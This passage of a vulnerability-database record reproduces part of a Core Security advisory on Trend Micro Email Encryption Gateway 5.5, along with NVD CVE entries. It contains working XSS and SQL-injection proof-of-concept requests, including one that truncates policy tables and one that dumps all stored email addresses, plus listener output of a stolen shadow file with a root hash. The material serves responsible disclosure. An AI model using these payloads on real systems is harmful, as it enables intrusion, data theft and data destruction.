1080\r\nListening on [0.0.0.0] (family 0, port 1080)\r\nConnection from [server] port 1080 [tcp/socks] accepted (family 2, sport\r\n49676)\r\nroot:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7:::\r\nbin:*:14089:0:99999:7:::\r\ndaemon:*:14089:0:99999:7:::\r\nadm:*:14089:0:99999:7:::\r\nlp:*:14089:0:99999:7:::\r\nsync:*:14089:0:99999:7:::\r\nshutdown:*:14089:0:99999:7:::\r\nhalt:*:14089:0:99999:7:::\r\nmail:*:14089:0:99999:7:::\r\nnews:*:14089:0:99999:7:::\r\nuucp:*:14089:0:99999:7:::\r\noperator:*:14089:0:99999:7:::\r\ngames:*:14089:0:99999:7:::\r\ngopher:*:14089:0:99999:7:::\r\nftp:*:14089:0:99999:7:::\r\nnobody:*:14089:0:99999:7:::\r\nrpm:!!:14089:0:99999:7:::\r\ndbus:!!:14089:0:99999:7:::\r\nexim:!!:14089:0:99999:7:::\r\nnscd:!!:14089:0:99999:7:::\r\nvcsa:!!:14089:0:99999:7:::\r\nrpc:!!:14089:0:99999:7:::\r\nsshd:!!:14089:0:99999:7:::\r\npcap:!!:14089:0:99999:7:::\r\nhaldaemon:!!:14089:0:99999:7:::\r\npostgres:!!:14090::::::\r\ntomcat:!!:14090:0:99999:7:::\r\nxfs:!!:14179::::::\r\npostfix:!!:14194::::::\r\n-----/\r\n\r\nThese actions require the user to be authenticated within the Web\r\nconsole, so an attacker would need to obtain valid credentials first.\r\nPossible vectors to achieve this include exploiting any of the XSS\r\nissues described in 7.8, 7.9 and 7.10, or leveraging the XSRF\r\nvulnerability described in 7.6.\r\n\r\n7.8. *Reflected cross-site scripting in keymanserverconfig.jsp*\r\n\r\n[CVE-2018-6226]\r\nThe deniedKeysExpireTimeout and keyAge parameters of the\r\nkeymanserverconfig.jsp script are vulnerable to cross-site scripting.\r\n\r\nThe following is a proof of concept to demonstrate the vulnerability:\r\n\r\n/-----\r\nhttps://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback\r\n-----/\r\n\r\n7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp*\r\n\r\n[CVE-2018-6226]\r\nThe following parameters of the mimebuilderconfig.jsp script are\r\nvulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader,\r\nmeetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate,\r\nzdMainTemplate, zdMainTemplateZdv4.\r\n\r\nThe following is a proof of concept to demonstrate the vulnerability:\r\n\r\n/-----\r\nhttps://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E\r\n-----/\r\n\r\n7.10. *Stored cross-site scripting in editPolicy.jsp*\r\n\r\n[CVE-2018-6227]\r\nThe hidEmails parameter of the editPolicy.jsp script is vulnerable to\r\ncross-site scripting.\r\n\r\nThe following request adds a policy for the email address\r\n\"<script>alert(1)</script>\":\r\n\r\n/-----\r\nPOST /editPolicy.jsp HTTP/1.1\r\nHost: [server]\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)\r\nGecko/20100101 Firefox/53.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nReferer: https://[server]/policies.jsp\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 136\r\nCookie: JSESSIONID=7D25474429E52C823C63357255A5E781\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\naction=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1\r\n-----/\r\n\r\nThe input will be stored unescaped and rendered every time the policies.do\r\nscript is executed.\r\n\r\nExcerpt of the policies.do source showing the injected script tag:\r\n\r\n/-----\r\n<tr>\r\n<td ondblclick=\"edit_policy(this);\" style=\"border:solid 1px\r\n#AAAAAA;background-color:#F5F5F5;cursor:move;\"\r\n onmousedown=\"mouse_down(this, event);\" onmouseup=\"mouse_up(this);\"\r\nonmouseout=\"mouse_out(this);\"\r\n onmousemove=\"mouse_move(this, event);\">Don't decrypt messages to\r\n<script>alert(1)</script>\r\n-----/\r\n\r\n7.11. *SQL injection in policies.jsp*\r\n\r\n[CVE-2018-6228]\r\nThe hidEditId parameter of the policies.jsp script is not sanitized,\r\nleading to SQL injection.\r\n\r\nAs can be seen in the following excerpt, the script reads a parameter\r\nnamed hidEditId and forwards it to the editPolicy.jsp script if it is\r\nnot set to -1.\r\n\r\nFrom webapps/ROOT/policies.jsp:\r\n\r\n/-----\r\n<% if (request.getParameter(\"hidEditId\") != null)\r\n if (request.getParameter(\"hidEditId\").compareTo(\"-1\") != 0)\r\n {\r\n String hid_edit_id = request.getParameter(\"hidEditId\");\r\n %><jsp:forward page=\"editPolicy.jsp\"><jsp:param name=\"editRuleId\"\r\nvalue=\"<%= hid_edit_id %>\"/></jsp:forward><%\r\n }\r\n[...]\r\n-----/\r\n\r\nThe editPolicy.jsp script will pass this parameter without any\r\nmodification to the loadRuleDetails method, which is defined in the\r\nformEditPolicy class\r\n\r\nFrom webapps/ROOT/editPolicy.jsp:\r\n \r\n/-----\r\nif (request.getParameter(\"editRuleId\") != null)\r\nfrm.loadRuleDetails(request.getParameter(\"editRuleId\"));\r\n[...]\r\n-----/\r\n\r\nFinally, the loadRuleDetails method will use the unsanitized parameter\r\nit receives to build a dynamic SQL statement as follows:\r\n\r\nFrom webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:\r\n\r\n/-----\r\npublic boolean loadRuleDetails(String ruleId)\r\n{\r\n _databaseError = false;\r\n\r\n\r\n try\r\n {\r\n _ruleId = ruleId;\r\n _ruleResultId = dataStore.getRuleResultId(ruleId);\r\n _ruleForId = dataStore.getRuleForId(ruleId);\r\n _ruleEmails = dataStore.getRuleAddreses(ruleId);\r\n _ruleSubRules = dataStore.getSubRules(ruleId);\r\n [...]\r\n\r\npublic String getRuleResultId(String ruleId) throws SQLException\r\n{\r\n Connection cnn = MySQLClient.GetInstance().GetConnection();\r\n Statement query = cnn.createStatement();\r\n String ruleResultId = \"\";\r\n\r\n ResultSet rs = null;\r\n\r\n try\r\n {\r\n rs = query.executeQuery(\"SELECT RuleResultId FROM RulesEngine\r\nWHERE Id = \" + ruleId);\r\n [...]\r\n-----/\r\n\r\nThe contents of ruleId will be appended to the SELECT query, resulting\r\nin a SQL injection.\r\n\r\nThe following PoC opens a policy to edit, even though the hidEditId\r\nparameter is invalid. Due to the \"always true\" comparison, the first\r\nelement is retrieved:\r\n\r\n/-----\r\nPOST /policies.jsp HTTP/1.1\r\nHost: server\r\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)\r\nGecko/20100101 Firefox/53.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 84\r\nReferer: https://server/editPolicy.jsp\r\nCookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\naction=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201\r\n-----/\r\n\r\n7.12. *SQL injection in editPolicy.jsp*\r\n\r\n[CVE-2018-6229]\r\nThe hidRuleId parameter of the editPolicy.jsp script is not sanitized,\r\nleading to SQL injection in a DELETE statement.\r\n\r\nThe following excerpt shows that the request object is forwarded to the\r\nDeletePolicy method implemented in the formEditPolicy class.\r\n\r\nFrom webapps/ROOT/editPolicy.jsp:\r\n\r\n/-----\r\n<% if (frm.isPostBack())\r\n{\r\n if (request.getParameter(\"hidDelete\").compareTo(\"YES\") == 0)\r\n {\r\n frm.DeletePolicy(request);\r\n }\r\n[...]\r\n-----/\r\n\r\nDeletePolicy reads the hidRuleId parameter and calls deletePolicy with\r\nit, without doing any sanitization.\r\n\r\nFrom webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:\r\n\r\n/-----\r\npublic boolean DeletePolicy(HttpServletRequest request)\r\n{\r\n String ruleId = request.getParameter(\"hidRuleId\");\r\n boolean success = dataStore.deletePolicy(ruleId);\r\n _databaseError = (!success);\r\n\r\n return success;\r\n}\r\n-----/\r\n\r\nFinally, the JPostgresDataHelper class uses the ruleId parameter to\r\nbuild dynamic SQL statements, as can be seen in the following extract.\r\n \r\nFrom webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:\r\n\r\n/-----\r\npublic boolean deletePolicy(String ruleId)\r\n{\r\n Connection cnn = null;\r\n Statement query = null;\r\n\r\n boolean bSuccess = true;\r\n\r\n try\r\n {\r\n cnn = MySQLClient.GetInstance().GetConnection();\r\n cnn.setAutoCommit(false);\r\n query = cnn.createStatement();\r\n\r\n query.executeUpdate(\"DELETE FROM RulesEmailIndex WHERE\r\nRulesEngineId = \" + ruleId);\r\n query.executeUpdate(\"DELETE FROM SubRuleIndex WHERE RulesEngineId\r\n= \" + ruleId);\r\n query.executeUpdate(\"DELETE FROM RulesEngine WHERE Id = \" + ruleId);\r\n [...]\r\n-----/\r\n\r\nThe ruleId parameter will be appended as-is to the DELETE statements,\r\nresulting in a SQL injection.\r\n\r\nThe following request will cause the RulesEmailIndex, SubRuleIndex, and\r\nRulesEngine tables to be truncated:\r\n\r\n/-----\r\nPOST /editPolicy.jsp HTTP/1.1\r\nHost: [server]\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)\r\nGecko/20100101 Firefox/53.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nReferer: https://[server]/policies.jsp\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 133\r\nCookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\naction=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1\r\n-----/\r\n\r\n\r\n7.13. *SQL Injection in emailSearch.jsp*\r\n\r\n[CVE-2018-6230]\r\nThe SearchString parameter of the emailSearch.jsp script is not\r\nsanitized, leading to a SQL injection.\r\n\r\nAs can be seen in the following excerpt, the emailSearch.jsp script\r\nreads a parameter named SearchString and calls the getResults method\r\ndefined in the wsEmailSearch class.\r\n\r\nFrom webapps/ROOT/emailSearch.jsp:\r\n\r\n/-----\r\nif (session.getAttribute(\"UserName\") != null)\r\n{\r\n response.setContentType(\"text/xml\");\r\n ws.setSearchParam(request.getParameter(\"SearchString\"));\r\n java.util.Vector res = ws.getResults();\r\n [...]\r\n-----/\r\n\r\nThe searchParam property is not sanitized before being used to build a\r\ndynamic SQL query, resulting in a SQL injection in the SELECT statement.\r\n \r\nFrom webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:\r\n\r\n/-----\r\npublic class wsEmailSearch\r\n{\r\n private String _searchParam = \"\";\r\n public void setSearchParam(String searchParam) { _searchParam =\r\nsearchParam; }\r\n\r\n public Vector getResults()\r\n {\r\n Vector res = new Vector();\r\n\r\n Connection cnn = MySQLClient.GetInstance().GetConnection();\r\n try\r\n {\r\n Statement query = cnn.createStatement();\r\n\r\n ResultSet rs = query.executeQuery(\"SELECT address FROM\r\nRulesEmailAddresses WHERE address LIKE '%\" + _searchParam + \"%' ORDER BY\r\naddress\");\r\n[...]\r\n-----/\r\n\r\nThe following proof of concept will cause all the e-mails on the\r\ndatabase to be retrieved:\r\n\r\n/-----\r\nPOST /emailSearch.jsp HTTP/1.1\r\nHost: server\r\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)\r\nGecko/20100101 Firefox/53.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.5\r\nContent-Type: application/x-www-form-urlencoded\r\nReferer: https://server/policies.jsp\r\nContent-Length: 39\r\nCookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2\r\nConnection: close\r\n\r\nSearchString=' OR '%1%'='%1\r\n-----/\r\n\r\n8. *Report Timeline*\r\n2017-06-05: Core Security sent an initial notification to Trend Micro,\r\nincluding a draft advisory.\r\n2017-06-05: Trend Micro confirmed reception of advisory and informed\r\nthey will submit it to the relevant technical team for validation and\r\nreplication.\r\n2017-06-22: Core Security asked for an update on the vulnerability\r\nreported.\r\n2017-06-22: Trend Micro answered saying the cases are still being vetted\r\nand that they will commit a time when the solution is finalized.\r\n2017-08-28: Core Security asked again for an update on the vulnerability\r\nreported.\r\n2017-08-28: Trend Micro answered saying the team is still in the process\r\nof creating the official fix for the vulnerabilities, although there is\r\nstill no official release date.\r\n2017-10-02: Core Security asked again for an update on the vulnerability\r\nreported.\r\n2017-10-02: Trend Micro answered saying the team are still finalizing\r\nthe fix to ensure all vulnerabilities are covered.\r\n2017-11-13: Core Security asked again (4th time) for an ETA for the\r\nofficial fix. We stated we need a release date or a thorough explanation\r\non why after five months there is still no date defined. If there is no\r\nsuch answer we will be forced to publish the advisory.\r\n2017-11-14: Trend Micro answered saying the team is still working on two\r\nvulnerabilities and due to the complexity and number of vulnerabilities\r\noverall found, their team requires more time.\r\n2018-01-16: Core Security asked again (5th time) for an ETA for the\r\nofficial fix.\r\n2018-01-23: Trend Micro answered proposing the publication date to be\r\nFebruary 7th.\r\n2018-01-24: Core Security thanked Trend Micro's answer and asked if all\r\nthe vulnerabilities reported in the advisory will be addressed. In\r\naddition, Core Security asked for CVE-IDs.\r\n2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be\r\naddressed and notified Core Security they will send the CVE-IDs when\r\nhave these assigned. In addition, Trend Micro sent its new PGP key.\r\n2018-01-29: Core Security thanked Trend Micro's confirmation and agreed\r\non the proposed release date.\r\n2018-01-29: Trend Micro answered saying the team found a couple of\r\nissues during the QA test. Consequently, Trend Micro asked for\r\nadditional time to fix the remaining vulnerabilities and required a\r\nseparated disclosure time.\r\n2018-01-29: Core Security answered its intention to report all the\r\nvulnerabilities in just one advisory and asked for a timeline for the fix.\r\n2018-02-01: Core Security asked for an update on the remaining\r\nvulnerabilities.\r\n2018-02-02: Trend Micro sent an update and requested a week extension.\r\n2018-02-02: Core Security thanked Trend Micro's update and agreed to\r\npostpone the release.\r\n2018-02-14: Trend Micro answered saying the remaining vulnerabilities\r\nwill not be addressed in the patch due to its complexity; therefore,\r\nmitigation steeps will be recommending. Also, Trend Micro proposed\r\nFebruary 21 as the release date.\r\n2018-02-14: Core Security thanked Trend Micro's update and agreed on the\r\nproposed release date.\r\n2018-02-21: Advisory CORE-2017-0006 published.\r\n\r\n9. *References*\r\n\r\n[1]\r\nhttp://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/\r\n\r\n\r\n10. *About CoreLabs*\r\n\r\nCoreLabs, the research center of Core Security, is charged with\r\nanticipating the future needs and requirements for information security\r\ntechnologies.\r\nWe conduct our research in several important areas of computer security\r\nincluding system vulnerabilities, cyber attack planning and simulation,\r\nsource code auditing, and cryptography. Our results include problem\r\nformalization, identification of vulnerabilities, novel solutions and\r\nprototypes for new technologies. CoreLabs regularly publishes security\r\nadvisories, technical papers, project information and shared software\r\ntools for public use at:\r\nhttp://corelabs.coresecurity.com.\r\n\r\n11. *About Core Security*\r\n\r\nCore Security provides companies with the security insight they need to\r\nknow who, how, and what is vulnerable in their organization. The\r\ncompany's threat-aware, identity & access, network security, and\r\nvulnerability management solutions provide actionable insight and context\r\nneeded to manage security risks across the enterprise. This shared\r\ninsight gives customers a comprehensive view of their security posture\r\nto make better security remediation decisions. Better insight allows\r\norganizations to prioritize their efforts to protect critical assets,\r\ntake action sooner to mitigate access risk, and react faster if a breach\r\ndoes occur.\r\n\r\nCore Security is headquartered in the USA with offices and operations in\r\nSouth America, Europe, Middle East and Asia. To learn more, contact Core\r\nSecurity at (678) 304-4500 or info@coresecurity.com\r\n\r\n12. *Disclaimer*\r\n\r\nThe contents of this advisory are copyright (c) 2018 Core Security and\r\n(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution\r\nNon-Commercial Share-Alike 3.0 (United States) License:\r\nhttp://creativecommons.org/licenses/by-nc-sa/3.0/us/\r\n\r\n13. *PGP/GPG Keys*\r\n\r\nThis advisory has been signed with the GPG key of Core Security advisories\r\nteam, which is available for download at\r\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc.", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/44166/"}], "cve": [{"lastseen": "2019-05-29T18:20:28", "bulletinFamily": "NVD", "description": "A SQL injection vulnerability in a Trend Micro Email Encryption Gateway 5.5 policy script could allow an attacker to execute SQL commands to upload and execute arbitrary code that may harm the target system.", "modified": "2018-04-04T13:26:00", "id": "CVE-2018-6228", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-6228", "published": "2018-03-15T19:29:00", "title": "CVE-2018-6228", "type": "cve", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:20:28", "bulletinFamily": "NVD", "description": "An Insecure Update via HTTP vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow an attacker to eavesdrop and tamper with certain types of update data.", "modified": "2018-04-04T14:20:00", "id": "CVE-2018-6219", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-6219", "published": "2018-03-15T19:29:00", "title": "CVE-2018-6219", "type": "cve", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-29T18:20:28", "bulletinFamily": "NVD", "description": "A SQL injection vulnerability in an Trend Micro Email Encryption Gateway 5.5 search configuration script could allow an attacker to execute SQL commands to upload and execute arbitrary code that may harm the target system.", "modified": "2018-04-04T13:22:00", "id": "CVE-2018-6230", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-6230", "published": "2018-03-15T19:29:00", "title": "CVE-2018-6230", "type": "cve", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:20:28", "bulletinFamily": "NVD", "description": "A SQL injection vulnerability in an Trend Micro Email Encryption Gateway 5.5 edit policy script could allow an attacker to execute SQL commands to upload and execute arbitrary code that may harm the target system.", "modified": "2018-04-04T13:21:00", "id": "CVE-2018-6229", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-6229", "published": "2018-03-15T19:29:00", "title": "CVE-2018-6229", "type": "cve", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-10-04T12:26:47", "bulletinFamily": "NVD", "description": "Arbitrary logs location in Trend Micro Email Encryption Gateway 5.5 could allow an attacker to change location of log files and be manipulated to execute arbitrary commands and attain command execution on a vulnerable system.", "modified": "2019-10-03T00:03:00", "id": "CVE-2018-6222", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-6222", "published": "2018-03-15T19:29:00", "title": "CVE-2018-6222", "type": "cve", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:20:28", "bulletinFamily": "NVD", "description": "An unvalidated software update vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow a man-in-the-middle attacker to tamper with an update file and inject their own.", "modified": "2018-04-04T15:01:00", "id": "CVE-2018-6221", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-6221", "published": "2018-03-15T19:29:00", "title": "CVE-2018-6221", "type": "cve", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:20:28", "bulletinFamily": "NVD", "description": "A lack of cross-site request forgery (CSRF) protection vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow an attacker to submit authenticated requests to a user browsing an attacker-controlled domain.", "modified": "2018-04-04T14:19:00", "id": "CVE-2018-6224", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-6224", "published": "2018-03-15T19:29:00", "title": "CVE-2018-6224", "type": "cve", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:20:28", "bulletinFamily": "NVD", "description": "Reflected cross-site scripting (XSS) vulnerabilities in two Trend Micro Email Encryption Gateway 5.5 configuration files could allow an attacker to inject client-side scripts into vulnerable systems.", "modified": "2018-04-04T13:59:00", "id": "CVE-2018-6226", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-6226", "published": "2018-03-15T19:29:00", "title": "CVE-2018-6226", "type": "cve", "cvss": {"score": 3.5, "vector": "AV:N/AC:M/Au:S/C:N/I:P/A:N"}}, {"lastseen": "2019-05-29T18:20:28", "bulletinFamily": "NVD", "description": "An arbitrary file write vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow an attacker to inject arbitrary data, which may lead to gaining code execution on vulnerable systems.", "modified": "2018-04-04T14:16:00", "id": "CVE-2018-6220", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-6220", "published": "2018-03-15T19:29:00", "title": "CVE-2018-6220", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:20:28", "bulletinFamily": "NVD", "description": "A missing authentication for appliance registration vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow an attacker to manipulate the registration process of the product to reset configuration parameters.", "modified": "2018-04-04T14:09:00", "id": "CVE-2018-6223", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-6223", "published": "2018-03-15T19:29:00", "title": "CVE-2018-6223", "type": "cve", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}]}